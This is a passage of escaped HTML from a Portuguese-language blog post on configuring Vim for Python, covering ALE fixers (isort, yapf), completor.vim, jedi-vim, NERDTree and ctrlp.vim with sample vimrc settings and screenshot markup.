M3V3jQfb81w5VKXb3pHme+2ZYbOIfR0HtPJYUiLAWspD9Vy0OyMsEvcTKMYKWFbxiGxlRH2iOryDyflHEDumoU6kaJ/mHK1QsH3KZZ9yhMNqu2jVBqTlGsNEXcw3RzO2Dh2sYyZKaBLnLAd1GRKijokLFt24BCz8/wL2jq6dsnyh3wAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Flake8 + ALE&amp;quot;&quot;
        title=&quot;Flake8 + ALE&quot;
        src=&quot;/static/1310bd90a3fd94756e8c482c3ceabcae/6af66/vim-ale-flake8.png&quot;
        srcset=&quot;/static/1310bd90a3fd94756e8c482c3ceabcae/8514f/vim-ale-flake8.png 192w,
/static/1310bd90a3fd94756e8c482c3ceabcae/804b2/vim-ale-flake8.png 384w,
/static/1310bd90a3fd94756e8c482c3ceabcae/6af66/vim-ale-flake8.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Flake8 + ALE&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Fixers: isort e yapf&lt;/h3&gt;
&lt;p&gt;O &lt;em&gt;ALE&lt;/em&gt; possui o conceito de &quot;fixers&quot;. Eles são executados para realizar reparos no código-fonte
aberto, sem a necessidade da chamada de nenhum comando adicional. Em um arquivo &lt;em&gt;Python&lt;/em&gt;, o &lt;code class=&quot;language-text&quot;&gt;:ALEFixSuggest&lt;/code&gt;
trará sugestões de &lt;em&gt;fixers&lt;/em&gt; para a linguagem:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;Try the following fixers appropriate &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; the &lt;span class=&quot;token keyword&quot;&gt;filetype&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

&lt;span class=&quot;token string&quot;&gt;&apos;add_blank_lines_for_python_control_statements&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; Add blank &lt;span class=&quot;token builtin&quot;&gt;lines&lt;/span&gt; before control statements&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&apos;autopep8&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; Fix PEP8 issues with autopep8&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&apos;isort&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; Sort Python imports with isort&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&apos;yapf&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; Fix Python &lt;span class=&quot;token keyword&quot;&gt;files&lt;/span&gt; with yapf&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;

Try the following generic fixers&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

&lt;span class=&quot;token string&quot;&gt;&apos;remove_trailing_lines&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; Remove &lt;span class=&quot;token keyword&quot;&gt;all&lt;/span&gt; blank &lt;span class=&quot;token builtin&quot;&gt;lines&lt;/span&gt; at the end of a &lt;span class=&quot;token keyword&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&apos;trim_whitespace&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; Remove &lt;span class=&quot;token keyword&quot;&gt;all&lt;/span&gt; trailing whitespace characters at the end of every line&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;

See &lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;help&lt;/span&gt; ale&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;fix&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;configuration

Press &lt;span class=&quot;token keyword&quot;&gt;q&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;close&lt;/span&gt; this &lt;span class=&quot;token builtin&quot;&gt;window&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;a href=&quot;https://pypi.python.org/pypi/isort&quot; title=&quot;A Python utility / library to sort Python imports&quot;&gt;&lt;em&gt;isort&lt;/em&gt;&lt;/a&gt;
é uma ferramenta muito útil que ajuda na ordenação dos &lt;code class=&quot;language-text&quot;&gt;import&lt;/code&gt; &lt;em&gt;Python&lt;/em&gt;. Já o
&lt;a href=&quot;https://github.com/google/yapf%20A%20formatter%20for%20Python%20files%22&quot;&gt;&lt;em&gt;yapf&lt;/em&gt;&lt;/a&gt; formatará
os arquivos respeitando a &lt;em&gt;PEP8&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para habilitar esses recursos, basta adicionar a seguinte configuração ao &lt;code class=&quot;language-text&quot;&gt;~/.vimrc&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; g&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;ale_fix_on_save &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; g&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;ale_fixers &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
\   &lt;span class=&quot;token string&quot;&gt;&apos;python&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;isort&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;yapf&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;remove_trailing_lines&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;trim_whitespace&apos;&lt;/span&gt;
\   &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
\&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com o &lt;code class=&quot;language-text&quot;&gt;g:ale_fix_on_save = 1&lt;/code&gt;, ao salvar o arquivo os &lt;em&gt;fixers&lt;/em&gt; serão executados automaticamente.
É possível executá-los também através do comando &lt;code class=&quot;language-text&quot;&gt;:ALEFix&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Code Completion: completor.vim&lt;/h2&gt;
&lt;p&gt;Embora o &lt;a href=&quot;https://github.com/Valloric/YouCompleteMe&quot; title=&quot;A code-completion engine for Vim&quot;&gt;&lt;em&gt;YouCompleteMe&lt;/em&gt;&lt;/a&gt;
seja a opção &lt;em&gt;standard&lt;/em&gt; para &lt;em&gt;autocomplete&lt;/em&gt; no &lt;em&gt;Vim&lt;/em&gt;, foi no &lt;a href=&quot;https://github.com/maralla/completor.vim&quot; title=&quot;Async completion framework made ease&quot;&gt;&lt;em&gt;completor&lt;/em&gt;&lt;/a&gt;
que eu encontrei um bom balanço entre complexidade e benefícios.&lt;/p&gt;
&lt;p&gt;Utilizando o &lt;em&gt;engine&lt;/em&gt; de &lt;em&gt;async&lt;/em&gt; do &lt;em&gt;Vim 8&lt;/em&gt;, o &lt;em&gt;plugin&lt;/em&gt; é capaz de entregar &lt;em&gt;code completion&lt;/em&gt;
de uma maneira muito rápida, e ainda possui uma boa abstração a &lt;em&gt;semantic completion&lt;/em&gt; (que fará
o &lt;em&gt;autocomplete&lt;/em&gt; funcionar &quot;de fato&quot; no caso do &lt;em&gt;Python&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/347850a2326924f757cba8deedec7295/6af66/vim-completor-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 39.583333333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABkklEQVQoz2VR23KiQBQkVkw2iFEYBmG4KSiJilzEXKw85CWfsLX//yednnHNPuxD13DOND3d51ibYoOu26Hu9wjTJZEhylcIIoUwSRFlupfzzP/eXWrTI09zfBlA8cyWK1gxiTELmReQ3Qn+viU6jCdTTEKF6OXD1O5mC7fawa97iF0D2QwQ2wMeacKyLASBRNv1sBK+qOIYgk78Qw9JiG0DJ0rgqAThcIakiBb0nmpib86gPZmH5qs1xq6ASlM0bXcVTODTvm/E+Gq2wq09wTTJsehf4dGZu342Yvr+wimMuwfPh3U7hk76z6GKEZQVYxxhy9BE0NA/6WjzojKu9besO9zP3R/OFcLzsK8PFMyyi2CxZowB94+zH9JsWZq4M8Yygib6M+6c6X+Co9EIizCiIIVUzE2VT/D7dzhpgV+BMiQnLxEc3+EyqobYtRCcm+DinDiDHca4Ydyr6II61uvvPxjOJ2yPDTbnN5RDh+o4IOOQq9MbFMegx+HT7YKzVJyzhmRPL3LCRA+2DZuoPr/wDRYo0/yJBoIQAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo de uso do Completor&amp;quot;&quot;
        title=&quot;Exemplo de uso do Completor&quot;
        src=&quot;/static/347850a2326924f757cba8deedec7295/6af66/vim-completor-example.png&quot;
        srcset=&quot;/static/347850a2326924f757cba8deedec7295/8514f/vim-completor-example.png 192w,
/static/347850a2326924f757cba8deedec7295/804b2/vim-completor-example.png 384w,
/static/347850a2326924f757cba8deedec7295/6af66/vim-completor-example.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de uso do Completor&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;https://github.com/davidhalter/jedi&quot; title=&quot; Awesome autocompletion and static analysis library for python&quot;&gt;&lt;em&gt;jedi&lt;/em&gt;&lt;/a&gt;
é o utilitário &quot;hors concours&quot; para essa tarefa:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

Plug &lt;span class=&quot;token string&quot;&gt;&apos;maralla/completor.vim&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;do&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;pip install jedi&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A dica de usar &lt;em&gt;pyenv&lt;/em&gt; ou de instalar para cada &lt;em&gt;virtualenv&lt;/em&gt; (do tópico de &lt;em&gt;Lint&lt;/em&gt;), vale aqui também.&lt;/p&gt;
&lt;h2&gt;Navegar pelo código-fonte: jedi-vim&lt;/h2&gt;
&lt;p&gt;E falando de &lt;em&gt;jedi&lt;/em&gt;, o &lt;a href=&quot;https://github.com/davidhalter/jedi-vim&quot; title=&quot;Using the jedi autocompletion library for VIM&quot;&gt;&lt;em&gt;jedi-vim&lt;/em&gt;&lt;/a&gt;
é outra figurinha carimbada nos &lt;code class=&quot;language-text&quot;&gt;.vimrc&lt;/code&gt; de muitos desenvolvedores &lt;em&gt;Python&lt;/em&gt;. Assim como o
&lt;em&gt;completor&lt;/em&gt;, ele fornece &lt;em&gt;autocompletion&lt;/em&gt; e uma excelente ferramenta de &lt;em&gt;static analysis&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/71dd224a33c9c79420baf43984fa2225/c08c5/vim-jedi.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMFAv/EABYBAQEBAAAAAAAAAAAAAAAAAAMBAv/aAAwDAQACEAMQAAABm1oj00owU//EABoQAAICAwAAAAAAAAAAAAAAAAECAAMQEhP/2gAIAQEAAQUCoI6PZssWWMcf/8QAFxEAAwEAAAAAAAAAAAAAAAAAAQIQEf/aAAgBAwEBPwENk//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABkQAAIDAQAAAAAAAAAAAAAAAAEQABFBIf/aAAgBAQAGPwLsvBiD/8QAGRABAAMBAQAAAAAAAAAAAAAAAQARITEQ/9oACAEBAAE/IUCO7KqFOwmogC88/9oADAMBAAIAAwAAABCYP//EABURAQEAAAAAAAAAAAAAAAAAABEQ/9oACAEDAQE/EBBP/8QAFhEBAQEAAAAAAAAAAAAAAAAAEQAB/9oACAECAQE/ENdJv//EAB4QAQACAgEFAAAAAAAAAAAAAAEAESExQVFhcYGR/9oACAEBAAE/EGBlI2pdd4QVOea6H7MJUys1rKXfuJbwAEF6z//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Nunca renda-se ao lado emacs da força (jovemnerd.com.br)&amp;quot;&quot;
        title=&quot;Nunca renda-se ao lado emacs da força (jovemnerd.com.br)&quot;
        src=&quot;/static/71dd224a33c9c79420baf43984fa2225/c08c5/vim-jedi.jpg&quot;
        srcset=&quot;/static/71dd224a33c9c79420baf43984fa2225/7809d/vim-jedi.jpg 192w,
/static/71dd224a33c9c79420baf43984fa2225/4ecad/vim-jedi.jpg 384w,
/static/71dd224a33c9c79420baf43984fa2225/c08c5/vim-jedi.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Nunca renda-se ao lado emacs da força (jovemnerd.com.br)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Se você programa somente em &lt;em&gt;Python&lt;/em&gt;, esqueça o &lt;em&gt;completor&lt;/em&gt; e use apenas o &lt;em&gt;jedi-vim&lt;/em&gt;. Caso contrário,
se você programa em mais linguagens, o &lt;em&gt;completor&lt;/em&gt; ainda é uma opção atraente (por ser &quot;genérico&quot;).&lt;/p&gt;
&lt;p&gt;Além do &lt;em&gt;completion&lt;/em&gt; o &lt;em&gt;jedi-vim&lt;/em&gt; tem outras funcionalidades que são muito úteis para lidar com grandes projetos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Goto assignments&lt;/em&gt; (&lt;code class=&quot;language-text&quot;&gt;&amp;lt;leader&gt;g&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Goto definitions&lt;/em&gt; (&lt;code class=&quot;language-text&quot;&gt;&amp;lt;leader&gt;d&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Mostrar documentação (&lt;code class=&quot;language-text&quot;&gt;K&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Renomear (&lt;code class=&quot;language-text&quot;&gt;&amp;lt;leader&gt;r&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Exibir uso (&lt;code class=&quot;language-text&quot;&gt;&amp;lt;leader&gt;n&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Portanto, é sempre útil tê-lo no seu ambiente de desenvolvimento:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

Plug &lt;span class=&quot;token string&quot;&gt;&apos;davidhalter/jedi-vim&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;do&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;pip install jedi&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; g&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;jedi#completions_enabled &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A última linha acima é essencial para que o &lt;em&gt;completion&lt;/em&gt; do &lt;em&gt;jedi-vim&lt;/em&gt; não conflite com o do &lt;em&gt;completor&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Navegar pelo sistema de arquivos: NERDTree e ctrlp.vim&lt;/h2&gt;
&lt;p&gt;Aqui eu vou &quot;chover no molhado&quot; e indicar &lt;a href=&quot;https://github.com/scrooloose/nerdtree&quot; title=&quot;A tree explorer plugin for vim&quot;&gt;&lt;em&gt;NERDTree&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;https://github.com/ctrlpvim/ctrlp.vim&quot; title=&quot;Fuzzy file, buffer, mru, tag, etc finder&quot;&gt;&lt;em&gt;ctrlp.vim&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;O primeiro exibe um simpático &lt;em&gt;file explorer&lt;/em&gt; no lado esquerdo do editor, muito útil quando você não faz
ideia do que está procurando, e tem que ter uma visão dos arquivos e diretórios do projeto:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c045d3f7c6a8468b87353f8b9171d318/6af66/vim-nerdtree.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 78.64583333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAABYlAAAWJQFJUiTwAAADkElEQVQ4y1WUSXMbVRSF+zckdmINPQ9SD2q1WmpJ1mQpwrMdHIZFwipAFRDACyAMWbBgQxXFP2GTkDiBOBDbqIpQqWLBin/z5XYbKLI4dfq9d/u88+697yknxz9w/48nPHv+J6eLBYvfn/Hk9Iy7D454+NNjHj0+5t79I+7+eMS9Bw85evQzx7885eS3BSdni4Kfni749eSM53/9jTJP2szbPaZxRlf3yEyfVbdBrWqgmiZVTccwNep1i0q1SllQqapUVPWcBarEXFxe5tvvvkeJQ4fBxCSNNeyKjlU+h1aq4vgBhuWgmzpx0yOQ2Iqqiaj6EvJNLywtc/vO1yjTjT5r1wKizKNqeaiuh+bJt+3gBWEhaFji0jIKsaqmFfx/5IKXLl/m+juHKI1Ok+G+R3/Tw088DBHU3Rqa7eLUfTTDou7bhbtG7JFITO42RxS5WLYhay6aXuH6zQ9R9JrKeN4kGwUkHZeqep6TlVIZxxNh08arWcQilnV90rbMGbrEaAVyx6puFA5vvP0RiuF3uPbaTd54/U22t3dZm83ww5BSuYJbP8+h5Rg4riVuTMmnwUq5KlD/44qqs7R8ifcPb6N4rZDZzowr62PiViqOrCKwVJGi1OrFkS1bF5dmUekgsAt4nilHtfF9C9sxuXBxiU+/uIOSdsskrRVMtYQuFdPzdpBE54K2HDnPYy30ieKAOAlJ0oioGdBohjSSoJh36zVK8u+tT0Tw6pUJr84m9MOAQHLjCsp5axQOfZJGg34rIRVuCdpN+Y4imoJ8rpPkazIOfL784D2UzZ0d9g4OWJvPCzeXRehfh/k48WuE4jqSjRqSw0CaPRGObJvYkrFhUNcMvHKZbz5+V/pwOmVbRLNuV9rDlyprLx252enx1o0NNrfGREmH3mqHVtZkNOmT9VP6gzaHtw6Iswafb2Qoo/GInd1dsl5P8pNKRd1/bsC5wzBusrUxZDjMJF9yvHaTdjum129LT4Z0RPxgf8Jg2GZD/lfGkzX29vfZ2NwU3mN1MKDT7UmjGpiOx2A8FjdT2XCV8WTCZDpjdThmfXNLxLNivj8YMxyN8JI1lK8+22bv6pzV2Tqj+Ss0RSzOcnRJB0PCtE09jomEA2mrujgOc5biRGkHXziPaXQ61NIJSpRYctVsVnR5TUwXT16dHH6rX4xVp44dtfG7azgyr3oxVTekLGsl3RZ2KBm2vAEBWmPIC29sCq3c7cIwAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo de uso do NERDTree&amp;quot;&quot;
        title=&quot;Exemplo de uso do NERDTree&quot;
        src=&quot;/static/c045d3f7c6a8468b87353f8b9171d318/6af66/vim-nerdtree.png&quot;
        srcset=&quot;/static/c045d3f7c6a8468b87353f8b9171d318/8514f/vim-nerdtree.png 192w,
/static/c045d3f7c6a8468b87353f8b9171d318/804b2/vim-nerdtree.png 384w,
/static/c045d3f7c6a8468b87353f8b9171d318/6af66/vim-nerdtree.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de uso do NERDTree&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Com o uso do &lt;a href=&quot;https://github.com/Xuyuanp/nerdtree-git-plugin&quot; title=&quot;A plugin of NERDTree showing git status&quot;&gt;&lt;em&gt;nerdtree-git-plugin&lt;/em&gt;&lt;/a&gt;
ele fica ainda mais interessante, pois sinaliza os arquivos que sofreram modificações dentro de um
repositório &lt;a href=&quot;/tag/git.html&quot; title=&quot;Leia mais sobre Git&quot;&gt;&lt;em&gt;Git&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Já o &lt;em&gt;ctrlp.vim&lt;/em&gt; é usado para buscas de arquivos e &lt;em&gt;buffers&lt;/em&gt;. Muito útil para quando você já tem ideia
do que vai procurar:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e2b72ff750b60ccd7d7cbaae52dd76a4/6af66/vim-ctrlp.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
